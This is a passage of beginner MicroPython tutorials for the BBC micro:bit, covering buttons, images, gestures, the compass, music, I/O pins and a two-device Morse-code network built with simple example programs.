Event +++++++++++++++++ If we want MicroPython to react to button press events we should put it into an infinite loop and check if the button ``is_pressed``. An infinite loop is easy:: while True: # Do stuff (Remember, ``while`` checks if something is ``True`` to work out if it should run its block of code. Since ``True`` is obviously ``True`` for all time, you get an infinite loop!) Let's make a very simple cyber-pet. It's always sad unless you're pressing button ``A``. If you press button ``B`` it dies. (I realise this isn't a very pleasant game, so perhaps you can figure out how to improve it.):: from microbit import * while True: if button_a.is_pressed(): display.show(Image.HAPPY) elif button_b.is_pressed(): break else: display.show(Image.SAD) display.clear() Can you see how we check what buttons are pressed? We used ``if``, ``elif`` (short for "else if") and ``else``. These are called *conditionals* and work like this:: if something is True: # do one thing elif some other thing is True: # do another thing else: # do yet another thing. This is remarkably similar to English! The ``is_pressed`` method only produces two results: ``True`` or ``False``. If you're pressing the button it returns ``True``, otherwise it returns ``False``. The code above is saying, in English, "for ever and ever, if button A is pressed then show a happy face, else if button B is pressed break out of the loop, otherwise display a sad face." We break out of the loop (stop the program running for ever and ever) with the ``break`` statement. At the very end, when the cyber-pet is dead, we ``clear`` the display. Can you think of ways to make this game less tragic? How would you check if *both* buttons are pressed? (Hint: Python has ``and``, ``or`` and ``not`` logical operators to help check multiple truth statements (things that produce either ``True`` or ``False`` results). .. footer:: The image of Matrioshka dolls is licensed CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=69402 ================================================ FILE: micropython/docs/tutorials/direction.rst ================================================ Direction --------- There is a compass on the BBC micro:bit. If you ever make a weather station use the device to work out the wind direction. Compass +++++++ It can also tell you the direction of North like this:: from microbit import * compass.calibrate() while True: needle = ((15 - compass.heading()) // 30) % 12 display.show(Image.ALL_CLOCKS[needle]) .. note:: **You must calibrate the compass before taking readings.** Failure to do so will produce garbage results. The ``calibration`` method runs a fun little game to help the device work out where it is in relation to the Earth's magnetic field. To calibrate the compass, tilt the micro:bit around until a circle of pixels is drawn on the outside edges of the display. The program takes the ``compass.heading`` and, using some simple yet cunning maths, `floor division `_ ``//`` and `modulo `_ ``%``, works out the number of the clock hand to use to display on the screen so that it is pointing roughly North. ================================================ FILE: micropython/docs/tutorials/gestures.rst ================================================ Gestures -------- The really interesting side-effect of having an accelerometer is gesture detection. If you move your BBC micro:bit in a certain way (as a gesture) then MicroPython is able to detect this. MicroPython is able to recognise the following gestures: ``up``, ``down``, ``left``, ``right``, ``face up``, ``face down``, ``freefall``, ``3g``, ``6g``, ``8g``, ``shake``. Gestures are always represented as strings. While most of the names should be obvious, the ``3g``, ``6g`` and ``8g`` gestures apply when the device encounters these levels of g-force (like when an astronaut is launched into space). To get the current gesture use the ``accelerometer.current_gesture`` method. Its result is going to be one of the named gestures listed above. For example, this program will only make your device happy if it is face up:: from microbit import * while True: gesture = accelerometer.current_gesture() if gesture == "face up": display.show(Image.HAPPY) else: display.show(Image.ANGRY) Once again, because we want the device to react to changing circumstances we use a ``while`` loop. Within the *scope* of the loop the current gesture is read and put into ``gesture``. The ``if`` conditional checks if ``gesture`` is equal to ``"face up"`` (Python uses ``==`` to test for equality, a single equals sign ``=`` is used for assignment - just like how we assign the gesture reading to the ``gesture`` object). If the gesture is equal to ``"face up"`` then use the display to show a happy face. Otherwise, the device is made to look angry! Magic-8 +++++++ A Magic-8 ball is a toy first invented in the 1950s. The idea is to ask it a yes/no question, shake it and wait for it to reveal the truth. It's rather easy to turn into a program:: from microbit import * import random answers = [ "It is certain", "It is decidedly so", "Without a doubt", "Yes, definitely", "You may rely on it", "As I see it, yes", "Most likely", "Outlook good", "Yes", "Signs point to yes", "Reply hazy try again", "Ask again later", "Better not tell you now", "Cannot predict now", "Concentrate and ask again", "Don't count on it", "My reply is no", "My sources say no", "Outlook not so good", "Very doubtful", ] while True: display.show("8") if accelerometer.was_gesture("shake"): display.clear() sleep(1000) display.scroll(random.choice(answers)) Most of the program is a list called ``answers``. The actual game is in the ``while`` loop at the end. The default state of the game is to show the character ``"8"``. However, the program needs to detect if it has been shaken. The ``was_gesture`` method uses its argument (in this case, the string ``"shake"`` because we want to detect a shake) to return a ``True`` / ``False`` response. If the device was shaken the ``if`` conditional drops into its block of code where it clears the screen, waits for a second (so the device appears to be thinking about your question) and displays a randomly chosen answer. Why not ask it if this is the greatest program ever written? What could you do to "cheat" and make the answer always positive or negative? (Hint: use the buttons.) ================================================ FILE: micropython/docs/tutorials/hello.rst ================================================ Hello, World! ------------- The traditional way to start programming in a new language is to get your computer to say, "Hello, World!". .. image:: ../scroll-hello.gif This is easy with MicroPython:: from microbit import * display.scroll("Hello, World!") Each line does something special. The first line:: from microbit import * ...tells MicroPython to get all the stuff it needs to work with the BBC micro:bit. All this stuff is in a module called ``microbit`` (a module is a library of pre-existing code). When you ``import`` something you're telling MicroPython that you want to use it, and ``*`` is Python's way to say *everything*. So, ``from microbit import *`` means, in English, "I want to be able to use everything from the microbit code library". The second line:: display.scroll("Hello, World!") ...tells MicroPython to use the display to scroll the string of characters "Hello, World!". The ``display`` part of that line is an *object* from the ``microbit`` module that represents the device's physical display (we say "object" instead of "thingy", "whatsit" or "doodah"). We can tell the display to do things with a full-stop ``.`` followed by what looks like a command (in fact it's something we call a *method*). In this case we're using the ``scroll`` method. Since ``scroll`` needs to know what characters to scroll across the physical display we specify them between double quotes (``"``) within parenthesis (``(`` and ``)``). These are called the *arguments*. So, ``display.scroll("Hello, World!")`` means, in English, "I want you to use the display to scroll the text 'Hello, World!'". If a method doesn't need any arguments we make this clear by using empty parenthesis like this: ``()``. Copy the "Hello, World!" code into your editor and flash it onto the device. Can you work out how to change the message? Can you make it say hello to you? For example, I might make it say "Hello, Nicholas!". Here's a clue, you need to change the scroll method's argument. .. warning:: It may not work. :-) This is where things get fun and MicroPython tries to be helpful. If it encounters an error it will scroll a helpful message on the micro:bit's display. If it can, it will tell you the line number for where the error can be found. Python expects you to type **EXACTLY** the right thing. So, for instance, ``Microbit``, ``microbit`` and ``microBit`` are all different things to Python. If MicroPython complains about a ``NameError`` it's probably because you've typed something inaccurately. It's like the difference between referring to "Nicholas" and "Nicolas". They're two different people but their names look very similar. If MicroPython complains about a ``SyntaxError`` you've simply typed code in a way that MicroPython can't understand. Check you're not missing any special characters like ``"`` or ``:``. It's like putting. a full stop in the middle of a sentence. It's hard to understand exactly what you mean. Your microbit may stop responding: you cannot flash new code to it or enter commands into the REPL. If this happens, try power cycling it. That is, unplug the USB cable (and battery cable if it's connected), then plug the cable back in again. You may also need to quit and re-start your code editor application. ================================================ FILE: micropython/docs/tutorials/images.rst ================================================ Images ------ MicroPython is about as good at art as you can be if the only thing you have is a 5x5 grid of red LEDs (light emitting diodes - the things that light up on the front of the device). MicroPython gives you quite a lot of control over the display so you can create all sorts of interesting effects. MicroPython comes with lots of built-in pictures to show on the display. For example, to make the device appear happy you type:: from microbit import * display.show(Image.HAPPY) I suspect you can remember what the first line does. The second line uses the ``display`` object to ``show`` a built-in image. The happy image we want to display is a part of the ``Image`` object and called ``HAPPY``. We tell ``show`` to use it by putting it between the parenthesis (``(`` and ``)``). .. image:: happy.png Here's a list of the built-in images: * ``Image.HEART`` * ``Image.HEART_SMALL`` * ``Image.HAPPY`` * ``Image.SMILE`` * ``Image.SAD`` * ``Image.CONFUSED`` * ``Image.ANGRY`` * ``Image.ASLEEP`` * ``Image.SURPRISED`` * ``Image.SILLY`` * ``Image.FABULOUS`` * ``Image.MEH`` * ``Image.YES`` * ``Image.NO`` * ``Image.CLOCK12``, ``Image.CLOCK11``, ``Image.CLOCK10``, ``Image.CLOCK9``, ``Image.CLOCK8``, ``Image.CLOCK7``, ``Image.CLOCK6``, ``Image.CLOCK5``, ``Image.CLOCK4``, ``Image.CLOCK3``, ``Image.CLOCK2``, ``Image.CLOCK1`` * ``Image.ARROW_N``, ``Image.ARROW_NE``, ``Image.ARROW_E``, ``Image.ARROW_SE``, ``Image.ARROW_S``, ``Image.ARROW_SW``, ``Image.ARROW_W``, ``Image.ARROW_NW`` * ``Image.TRIANGLE`` * ``Image.TRIANGLE_LEFT`` * ``Image.CHESSBOARD`` * ``Image.DIAMOND`` * ``Image.DIAMOND_SMALL`` * ``Image.SQUARE`` * ``Image.SQUARE_SMALL`` * ``Image.RABBIT`` * ``Image.COW`` * ``Image.MUSIC_CROTCHET`` * ``Image.MUSIC_QUAVER`` * ``Image.MUSIC_QUAVERS`` * ``Image.PITCHFORK`` * ``Image.XMAS`` * ``Image.PACMAN`` * ``Image.TARGET`` * ``Image.TSHIRT`` * ``Image.ROLLERSKATE`` * ``Image.DUCK`` * ``Image.HOUSE`` * ``Image.TORTOISE`` * ``Image.BUTTERFLY`` * ``Image.STICKFIGURE`` * ``Image.GHOST`` * ``Image.SWORD`` * ``Image.GIRAFFE`` * ``Image.SKULL`` * ``Image.UMBRELLA`` * ``Image.SNAKE`` There's quite a lot! Why not modify the code that makes the micro:bit look happy to see what some of the other built-in images look like? (Just replace ``Image.HAPPY`` with one of the built-in images listed above.) DIY Images ++++++++++ Of course, you want to make your own image to display on the micro:bit, right? That's easy. Each LED pixel on the physical display can be set to one of ten values. If a pixel is set to ``0`` (zero) then it's off. It literally has zero brightness. However, if it is set to ``9`` then it is at its brightest level. The values ``1`` to ``8`` represent the brightness levels between off (``0``) and full on (``9``). Armed with this information, it's possible to create a new image like this:: from microbit import * boat = Image("05050:" "05050:" "05050:" "99999:" "09990") display.show(boat) (When run, the device should display an old-fashioned "Blue Peter" sailing ship with the masts dimmer than the boat's hull.) Have you figured out how to draw a picture? Have you noticed that each line of the physical display is represented by a line of numbers ending in ``:`` and enclosed between ``"`` double quotes? Each number specifies a brightness. There are five lines of five numbers so it's possible to specify the individual brightness for each of the five pixels on each of the five lines on the physical display. That's how to create a new image. Simple! In fact, you don't need to write this over several lines. If you think you can keep track of each line, you can rewrite it like this:: boat = Image("05050:05050:05050:99999:09990") Animation +++++++++ Static images are fun, but it's even more fun to make them move. This is also amazingly simple to do with MicroPython ~ just use a list of images! Here is a shopping list:: Eggs Bacon Tomatoes Here's how you'd represent this list in Python:: shopping = ["Eggs", "Bacon", "Tomatoes" ] I've simply created a list called ``shopping`` and it contains three items. Python knows it's a list because it's enclosed in square brackets (``[`` and ``]``). Items in the list are separated by a comma (``,``) and in this instance the items are three strings of characters: ``"Eggs"``, ``"Bacon"`` and ``"Tomatoes"``. We know they are strings of characters because they're enclosed in quotation marks ``"``. You can store anything in a list with Python. Here's a list of numbers:: primes = [2, 3, 5, 7, 11, 13, 17, 19] .. note:: Numbers don't need to be quoted since they represent a value (rather than a string of characters). It's the difference between ``2`` (the numeric value 2) and ``"2"`` (the character/digit representing the number 2). Don't worry if this doesn't make sense right now. You'll soon get used to it. It's even possible to store different sorts of things in the same list:: mixed_up_list = ["hello!", 1.234, Image.HAPPY] Notice that last item? It was an image! We can tell MicroPython to animate a list of images. Luckily we have a couple of lists of images already built in. They're called ``Image.ALL_CLOCKS`` and ``Image.ALL_ARROWS``:: from microbit import * display.show(Image.ALL_CLOCKS, loop=True, delay=100) As with a single image, we use ``display.show`` to show it on the device's display. However, we tell MicroPython to use ``Image.ALL_CLOCKS`` and it understands that it needs to show each image in the list, one after the other. We also tell MicroPython to keep looping over the list of images (so the animation lasts forever) by saying ``loop=True``. Furthermore, we tell it that we want the delay between each image to be only 100 milliseconds (a tenth of a second) with the argument ``delay=100``. Can you work out how to animate over the ``Image.ALL_ARROWS`` list? How do you avoid looping forever (hint: the opposite of ``True`` is ``False`` although the default value for ``loop`` is ``False``)? Can you change the speed of the animation? Finally, here's how to create your own animation. In my example I'm going to make my boat sink into the bottom of the display:: from microbit import * boat1 = Image("05050:" "05050:" "05050:" "99999:" "09990") boat2 = Image("00000:" "05050:" "05050:" "05050:" "99999") boat3 = Image("00000:" "00000:" "05050:" "05050:" "05050") boat4 = Image("00000:" "00000:" "00000:" "05050:" "05050") boat5 = Image("00000:" "00000:" "00000:" "00000:" "05050") boat6 = Image("00000:" "00000:" "00000:" "00000:" "00000") all_boats = [boat1, boat2, boat3, boat4, boat5, boat6] display.show(all_boats, delay=200) Here's how the code works: * I create six ``boat`` images in exactly the same way I described above. * Then, I put them all into a list that I call ``all_boats``. * Finally, I ask ``display.show`` to animate the list with a delay of 200 milliseconds. * Since I've not set ``loop=True`` the boat will only sink once (thus making my animation scientifically accurate). :-) What would you animate? Can you animate special effects? How would you make an image fade out and then fade in again? ================================================ FILE: micropython/docs/tutorials/introduction.rst ================================================ Introduction ------------ We suggest you download and use the `mu editor `_ when working through these tutorials. Instructions for downloading and installing Mu are on its website. You may need to install a driver, depending on your platform (instruction are on the website). Mu works with Windows, OSX and Linux. Once Mu is installed connect your micro:bit to your computer via a USB lead. Write your script in the editor window and click the "Flash" button to transfer it to the micro:bit. If it doesn't work, make sure your micro:bit appears as a USB storage device in your file system explorer. .. toctree:: :maxdepth: 2 :caption: Tutorials hello images buttons io music random movement gestures direction storage speech network radio next Python is one of the `world's most popular `_ programming languages. Every day, without realising, you probably use software written using Python. All sorts of companies and organisations use Python for a diverse range of applications. Google, NASA, Bank of America, Disney, CERN, YouTube, Mozilla, The Guardian - the list goes on and covers all sectors of the economy, science and the arts. For example, do you remember the announcement of the `discovery of gravitational waves `_? The instruments used to make the measurements were controlled `with Python `_. Put simply, if you teach or learn Python, you are developing a highly valuable skill that applies to all areas of human endeavour. One such area is the BBC's amazing micro:bit device. It runs a version of Python called MicroPython that's designed to run on small computers like the BBC micro:bit. It's a full implementation of Python 3 so when you move onto other things (such as programming Python on a Raspberry Pi) you'll use exactly the same language. MicroPython does not include all the standard code libraries that come with "regular" Python. However, we have created a special ``microbit`` module in MicroPython that lets you control the device. Python and MicroPython are free software. Not only does this mean you don't pay anything to use Python, but you are also free to contribute back to the Python community. This may be in the form of code, documentation, bug reports, running a community group or writing tutorials (like this one). In fact, all the Python related resources for the BBC micro:bit have been created by an international team of volunteers working in their free time. These lessons introduce MicroPython and the BBC micro:bit in easy-to-follow steps. Feel free to adopt and adapt them for classroom based lessons, or perhaps just follow them on your own at home. You'll have most success if you explore, experiment and play. You can't break a BBC micro:bit by writing incorrect code. Just dive in! A word of warning: *you will fail many times*, and that is fine. **Failure is how good software developers learn**. Those of us who work as software developers have a lot of fun tracking down bugs and avoiding the repetition of mistakes. If in doubt, remember the Zen of MicroPython:: Code, Hack it, Less is more, Keep it simple, Small is beautiful, Be brave! Break things! Learn and have fun! Express yourself with MicroPython. Happy hacking! :-) Best of luck! ================================================ FILE: micropython/docs/tutorials/io.rst ================================================ Input/Output ------------ There are strips of metal along the bottom edge of the BBC micro:bit that make it look as if the device has teeth. These are the input/output pins (or I/O pins for short). .. image:: blue-microbit.png Some of the pins are bigger than others so it's possible to attach crocodile clips to them. These are the ones labelled 0, 1, 2, 3V and GND (computers always start counting from zero). If you attach an edge connector board to the device it's possible to plug in wires connected to the other (smaller) pins. Each pin on the BBC micro:bit is represented by an *object* called ``pinN`` where ``N`` is the pin number. So, for example, to do things with the pin labelled with a 0 (zero), use the object called ``pin0``. Simple! These objects have various *methods* associated with them depending upon what the specific pin is capable of. Ticklish Python +++++++++++++++ The simplest example of input via the pins is a check to see if they are touched. So, you can tickle your device to make it laugh like this:: from microbit import * while True: if pin0.is_touched(): display.show(Image.HAPPY) else: display.show(Image.SAD) With one hand, hold your device by the GND pin. Then, with your other hand, touch (or tickle) the 0 (zero) pin. You should see the display change from grumpy to happy! This is a form of very basic input measurement. However, the fun really starts when you plug in circuits and other devices via the pins. Bleeps and Bloops +++++++++++++++++ The simplest thing we can attach to the device is a Piezo buzzer. We're going to use it for output. .. image:: piezo_buzzer.jpg These small devices play a high-pitched bleep when connected to a circuit. To attach one to your BBC micro:bit you should attach crocodile clips to pin 0 and GND (as shown below). .. image:: pin0-gnd.png The wire from pin 0 should be attached to the positive connector on the buzzer and the wire from GND to the negative connector. The following program will cause the buzzer to make a sound:: from microbit import * pin0.write_digital(1) This is fun for about 5 seconds and then you'll want to make the horrible squeaking stop. Let's improve our example and make the device bleep:: from microbit import * while True: pin0.write_digital(1) sleep(20) pin0.write_digital(0) sleep(480) Can you work out how this script works? Remember that ``1`` is "on" and ``0`` is "off" in the digital world. The device is put into an infinite loop and immediately switches pin 0 on. This causes the buzzer to emit a beep. While the buzzer is beeping, the device sleeps for twenty milliseconds and then switches pin 0 off. This gives the effect of a short bleep. Finally, the device sleeps for 480 milliseconds before looping back and starting all over again. This means you'll get two bleeps per second (one every 500 milliseconds). We've made a very simple metronome! .. footer:: The image of the pizeo buzzer is CC BY-NC-SA 3.0 from https://www.flickr.com/photos/tronixstuff/4821350094 ================================================ FILE: micropython/docs/tutorials/movement.rst ================================================ Movement -------- Your BBC micro:bit comes with an accelerometer. It measures movement along three axes: * X - tilting from left to right. * Y - tilting forwards and backwards. * Z - moving up and down. There is a method for each axis that returns a positive or negative number indicating a measurement in milli-g's. When the reading is 0 you are "level" along that particular axis. For example, here's a very simple spirit-level that uses ``get_x`` to measure how level the device is along the X axis:: from microbit import * while True: reading = accelerometer.get_x() if reading > 20: display.show("R") elif reading < -20: display.show("L") else: display.show("-") If you hold the device flat it should display ``-``; however, rotate it left or right and it'll show ``L`` and ``R`` respectively. We want the device to constantly react to change, so we use an infinite ``while`` loop. The first thing to happen *within the body of the loop* is a measurement along the X axis which is called ``reading``. Because the accelerometer is *so* sensitive I've made level +/-20 in range. It's why the ``if`` and ``elif`` conditionals check for ``> 20`` and ``< -20``. The ``else`` statement means that if the ``reading`` is between -20 and 20 then we consider it level. For each of these conditions we use the display to show the appropriate character. There is also a ``get_y`` method for the Y axis and a ``get_z`` method for the Z axis. If you've ever wondered how a mobile phone knows which up to show the images on its screen, it's because it uses an accelerometer in exactly the same way as the program above. Game controllers also contain accelerometers to help you steer and move around in games. Musical Mayhem ++++++++++++++ One of the most wonderful aspects of MicroPython on the BBC micro:bit is how it lets you easily link different capabilities of the device together. For example, let's turn it into a musical instrument (of sorts). Connect a speaker as you did in the music tutorial. Use crocodile clips to attach pin 0 and GND to the positive and negative inputs on the speaker - it doesn't matter which way round they are connected to the speaker. .. image:: pin0-gnd.png What happens if we take the readings from the accelerometer and play them as pitches? Let's find out:: from microbit import * import music while True: music.pitch(accelerometer.get_y(), 10) The key line is at the end and remarkably simple. We *nest* the reading from the Y axis as the frequency to feed into the ``music.pitch`` method. We only let it play for 10 milliseconds because we want the tone to change quickly as the device is tipped. Because the device is in an infinite ``while`` loop it is constantly reacting to changes in the Y axis measurement. That's it! Tip the device forwards and backwards. If the reading along the Y axis is positive it'll change the pitch of the tone played by the micro:bit. Imagine a whole symphony orchestra of these devices. Can you play a tune? How would you improve the program to make the micro:bit sound more musical? ================================================ FILE: micropython/docs/tutorials/music.rst ================================================ Music ----- MicroPython on the BBC micro:bit comes with a powerful music and sound module. It's very easy to generate bleeps and bloops from the device *if you attach a speaker*. Use crocodile clips to attach pin 0 and GND to the positive and negative inputs on the speaker - it doesn't matter which way round they are connected to the speaker. .. image:: pin0-gnd.png .. note:: Do not attempt this with a Piezo buzzer - such buzzers are only able to play a single tone. Let's play some music:: import music music.play(music.NYAN) Notice that we import the ``music`` module. It contains methods used to make and control sound. MicroPython has quite a lot of built-in melodies. Here's a complete list: * ``music.DADADADUM`` * ``music.ENTERTAINER`` * ``music.PRELUDE`` * ``music.ODE`` * ``music.NYAN`` * ``music.RINGTONE`` * ``music.FUNK`` * ``music.BLUES`` * ``music.BIRTHDAY`` * ``music.WEDDING`` * ``music.FUNERAL`` * ``music.PUNCHLINE`` * ``music.PYTHON`` * ``music.BADDY`` * ``music.CHASE`` * ``music.BA_DING`` * ``music.WAWAWAWAA`` * ``music.JUMP_UP`` * ``music.JUMP_DOWN`` * ``music.POWER_UP`` * ``music.POWER_DOWN`` Take the example code and change the melody. Which one is your favourite? How would you use such tunes as signals or cues? Wolfgang Amadeus Microbit +++++++++++++++++++++++++ Creating your own tunes is easy! Each note has a name (like ``C#`` or ``F``), an octave (telling MicroPython how high or low the note should be played) and a duration (how long it lasts through time). Octaves are indicated by a number ~ 0 is the lowest octave, 4 contains middle C and 8 is about as high as you'll ever need unless you're making music for dogs. Durations are also expressed as numbers. The higher the value of the duration the longer it will last. Such values are related to each other - for instance, a duration of ``4`` will last twice as long as a duration ``2`` (and so on). If you use the note name ``R`` then MicroPython will play a rest (i.e. silence) for the specified duration. Each note is expressed as a string of characters like this:: NOTE[octave][:duration] For example, ``"A1:4"`` refers to the note named ``A`` in octave number ``1`` to be played for a duration of ``4``. Make a list of notes to create a melody (it's equivalent to creating an animation with a list of images). For example, here's how to make MicroPython play opening of "Frere Jaques":: import music tune = ["C4:4", "D4:4", "E4:4", "C4:4", "C4:4", "D4:4", "E4:4", "C4:4", "E4:4", "F4:4", "G4:8", "E4:4", "F4:4", "G4:8"] music.play(tune) .. note:: MicroPython helps you to simplify such melodies. It'll remember the octave and duration values until you next change them. As a result, the example above can be re-written as:: import music tune = ["C4:4", "D", "E", "C", "C", "D", "E", "C", "E", "F", "G:8", "E:4", "F", "G:8"] music.play(tune) Notice how the octave and duration values only change when they have to. It's a lot less typing and simpler to read. Sound Effects +++++++++++++ MicroPython lets you make tones that are not musical notes. For example, here's how to create a Police siren effect:: import music while True: for freq in range(880, 1760, 16): music.pitch(freq, 6) for freq in range(1760, 880, -16): music.pitch(freq, 6) Notice how the ``music.pitch`` *method* is used in this instance. It expects a frequency. For example, the frequency of ``440`` is the same as a concert ``A`` used to tune a symphony orchestra. In the example above the ``range`` function is used to generate ranges of numeric values. These numbers are used to define the pitch of the tone. The three arguments for the ``range`` function are the start value, end value and step size. Therefore, the first use of ``range`` is saying, in English, "create a range of numbers between 880 and 1760 in steps of 16". The second use of ``range`` is saying, "create a range of values between 1760 and 880 in steps of -16". This is how we get a range of frequencies that go up and down in pitch like a siren. Because the siren should last forever it's wrapped in an infinite ``while`` loop. Importantly, we have introduced a new sort of a loop inside the ``while`` loop: the ``for`` loop. In English it's like saying, "for each item in some collection, do some activity with it". Specifically in the example above, it's saying, "for each frequency in the specified range of frequencies, play the pitch of that frequency for 6 milliseconds". Notice how the thing to do for each item in a for loop is indented (as discussed earlier) so Python knows exactly which code to run to handle the individual items. ================================================ FILE: micropython/docs/tutorials/network.rst ================================================ Network ------- It is possible to connect devices together to send and receive messages to and from each other. This is called a network. A network of interconnected networks is called an internet. The Internet is an internet of all the internets. Networking is hard and this is reflected in the program described below. However, the beautiful thing about this project is it contains all the common aspects of network programming you need to know about. It's also remarkably simple and fun. But first, let's set the scene... Connection ++++++++++ Imagine a network as a series of layers. At the very bottom is the most fundamental aspect of communication: there needs to be some sort of way for a signal to get from one device to the other. Sometimes this is done via a radio connection, but in this example we're simply going to use two wires. .. image:: network.png It is upon this foundation that we can build all the other layers in the *network stack*. As the diagram shows, blue and red micro:bits are connected via crocodile leads. Both use pin 1 for output and pin 2 for input. The output from one device is connected to the input on the other. It's a bit like knowing which way round to hold a telephone handset - one end has a microphone (the input) and the other a speaker (the output). The recording of your voice via your microphone is played out of the other person's speaker. If you hold the phone the wrong way up, you'll get strange results! It's exactly the same in this instance: you must connect the wires properly! Signal ++++++ The next layer in the *network stack* is the signal. Often this will depend upon the characteristics of the connection. In our example it's simply digital on and off signals sent down the wires via the IO pins. If you remember, it's possible to use the IO pins like this:: pin1.write_digital(1) # switch the signal on pin1.write_digital(0) # switch the signal off input = pin2.read_digital() # read the value of the signal (either 1 or 0) The next step involves describing how to use and handle a signal. For that we need a... Protocol ++++++++ If you ever meet the Queen there are expectations about how you ought to behave. For example, when she arrives you may bow or curtsey, if she offers her hand politely shake it, refer to her as "your majesty" and thereafter as "ma'am" and so on. This set of rules is called the royal protocol. A protocol explains how to behave given a specific situation (such as meeting the Queen). A protocol is pre-defined to ensure everyone understands what's going on before a given situation arises. .. image:: queen.jpg It is for this reason that we define and use protocols for communicating messages via a computer network. Computers need to agree before hand how to send and receive messages. Perhaps the best known protocol is the hypertext transfer protocol (HTTP) used by the world wide web. Another famous protocol for sending messages (that pre-dates computers) is Morse code. It defines how to send character-based messages via on/off signals of long or short durations. Often such signals are played as bleeps. Long durations are called dashes (``-``) whereas short durations are dots (``.``). By combining dashes and dots Morse defines a way to send characters. For example, here's how the standard Morse alphabet is defined:: .- A .--- J ... S .---- 1 ----. 9 -... B -.- K - T ..--- 2 ----- 0 -.-. C .-.. L ..- U ...-- 3 -.. D -- M ...- V ....- 4 . E -. N .-- W ..... 5 ..-. F --- O -..- X -.... 6 --. G .--. P -.-- Y --... 7 .... H --.- Q --.. Z ---.. 8 .. I .-. R Given the chart above, to send the character "H" the signal is switched on four times for a short duration, indicating four dots (``....``). For the letter "L" the signal is also switched on four times, but the second signal has a longer duration (``.-..``). Obviously, the timing of the signal is important: we need to tell a dot from a dash. That's another point of a protocol, to agree such things so everyone's implementation of the protocol will work with everyone elses. In this instance we'll just say that: * A signal with a duration less than 250 milliseconds is a dot. * A signal with a duration from 250 milliseconds to less than 500 milliseconds is a dash. * Any other duration of signal is ignored. * A pause / gap in the signal of greater than 500 milliseconds indicates the end of a character. In this way, the sending of a letter "H" is defined as four "on" signals that last no longer than 250 milliseconds each, followed by a pause of greater than 500 milliseconds (indicating the end of the character). Message +++++++ We're finally at a stage where we can build a message - a message that actually means something to us humans. This is the top-most layer of our *network stack*. Using the protocol defined above I can send the following sequence of signals down the physical wire to the other micro:bit:: ...././.-../.-../---/.--/---/.-./.-../-.. Can you work out what it says? Application +++++++++++ It's all very well having a network stack, but you also need a way to interact with it - some form of application to send and receive messages. While HTTP is interesting *most* people don't know about it and let their web-browser handle it - the underlying *network stack* of the world wide web is hidden (as it should be). So, what sort of application should we write for the BBC micro:bit? How should it work, from the user's point of view? Obviously, to send a message you should be able to input dots and dashes (we can use button A for that). If we want to see the message we sent or just received we should be able to trigger it to scroll across the display (we can use button B for that). Finally, this being Morse code, if a speaker is attached, we should be able to play the beeps as a form of aural feedback while the user is entering their message. The End Result ++++++++++++++ Here's the program, in all its glory and annotated with plenty of comments so you can see what's going on:: from microbit import * import music # A lookup table of morse codes and associated characters. MORSE_CODE_LOOKUP = { ".-": "A", "-...": "B", "-.-.": "C", "-..": "D", ".": "E", "..-.": "F", "--.": "G", "....": "H", "..": "I", ".---": "J", "-.-": "K", ".-..": "L", "--": "M", "-.": "N", "---": "O", ".--.": "P", "--.-": "Q", ".-.": "R", "...": "S", "-": "T", "..-": "U", "...-": "V", ".--": "W", "-..-": "X", "-.--": "Y", "--..": "Z", ".----": "1", "..---": "2", "...--": "3", "....-": "4", ".....": "5", "-....": "6", "--...": "7", "---..": "8", "----.": "9", "-----": "0" } def decode(buffer): # Attempts to get the buffer of Morse code data from the lookup table. If # it's not there, just return a full stop. return MORSE_CODE_LOOKUP.get(buffer, '.') # How to display a single dot. DOT = Image("00000:" "00000:" "00900:" "00000:" "00000:") # How to display a single dash. DASH = Image("00000:" "00000:" "09990:" "00000:" "00000:") # To create a DOT you need to hold the button for less than 250ms. DOT_THRESHOLD = 250 # To create a DASH you need to hold the button for less than 500ms. DASH_THRESHOLD = 500 # Holds the incoming Morse signals. buffer = '' # Holds the translated Morse as characters. message = '' # The time from which the device has been waiting for the next keypress. started_to_wait = running_time() # Put the device in a loop to wait for and react to key presses. while True: # Work out how long the device has been waiting for a keypress. waiting = running_time() - started_to_wait # Reset the timestamp for the key_down_time. key_down_time = None # If button_a is held down, then... while button_a.is_pressed(): # Play a beep - this is Morse code y'know ;-) music.pitch(880, 10) # Set pin1 (output) to "on" pin1.write_digital(1) # ...and if there's not a key_down_time then set it to now! if not key_down_time: key_down_time = running_time() # Alternatively, if pin2 (input) is getting a signal, pretend it's a # button_a key press... while pin2.read_digital(): if not key_down_time: key_down_time = running_time() # Get the current time and call it key_up_time. key_up_time = running_time() # Set pin1 (output) to "off" pin1.write_digital(0) # If there's a key_down_time (created when button_a was first pressed # down). if key_down_time: # ... then work out for how long it was pressed. duration = key_up_time - key_down_time # If the duration is less than the max length for a "dot" press... if duration < DOT_THRESHOLD: # ... then add a dot to the buffer containing incoming Morse codes # and display a dot on the display. buffer += '.' display.show(DOT) # Else, if the duration is less than the max length for a "dash" # press... (but longer than that for a DOT ~ handled above) elif duration < DASH_THRESHOLD: # ... then add a dash to the buffer and display a dash. buffer += '-' display.show(DASH) # Otherwise, any other sort of keypress duration is ignored (this isn't # needed, but added for "understandability"). else: pass # The button press has been handled, so reset the time from which the # device is starting to wait for a button press. started_to_wait = running_time() # Otherwise, there hasn't been a button_a press during this cycle of the # loop, so check there's not been a pause to indicate an end of the # incoming Morse code character. The pause must be longer than a DASH # code's duration. elif len(buffer) > 0 and waiting > DASH_THRESHOLD: # There is a buffer and it's reached the end of a code so... # Decode the incoming buffer. character = decode(buffer) # Reset the buffer to empty. buffer = '' # Show the decoded character. display.show(character) # Add the character to the message. message += character # Finally, if button_b was pressed while all the above was going on... if button_b.was_pressed(): # ... display the message, display.scroll(message) # then reset it to empty (ready for a new message). message = '' How would you improve it? Can you change the definition of a dot and a dash so speedy Morse code users can use it? What happens if both devices are sending at the same time? What might you do to handle this situation? .. footer:: The image of Queen Elizabeth II is licensed as per the details here: https://commons.wikimedia.org/wiki/File:Queen_Elizabeth_II_March_2015.jpg ================================================ FILE: micropython/docs/tutorials/next.rst ================================================ Next Steps ---------- These tutorials are only the first steps in using MicroPython with the BBC micro:bit. A musical analogy: you've got a basic understanding of a very simple instrument and confidently play "Three Blind Mice". This is an achievement to build upon. Ahead of you is an exciting journey to becoming a virtuoso coder. You will encounter frustration, failure and foolishness. When you do please remember that you're not alone. Python has a secret weapon: the most amazing community of programmers on the planet. Connect with this community and you will make friends, find mentors, support each other and share resources. The examples in the tutorials are simple to explain but may not be the simplest or most efficient implementations. We've left out lots of *really fun stuff* so we could concentrate on arming you with the basics. If you *really* want to know 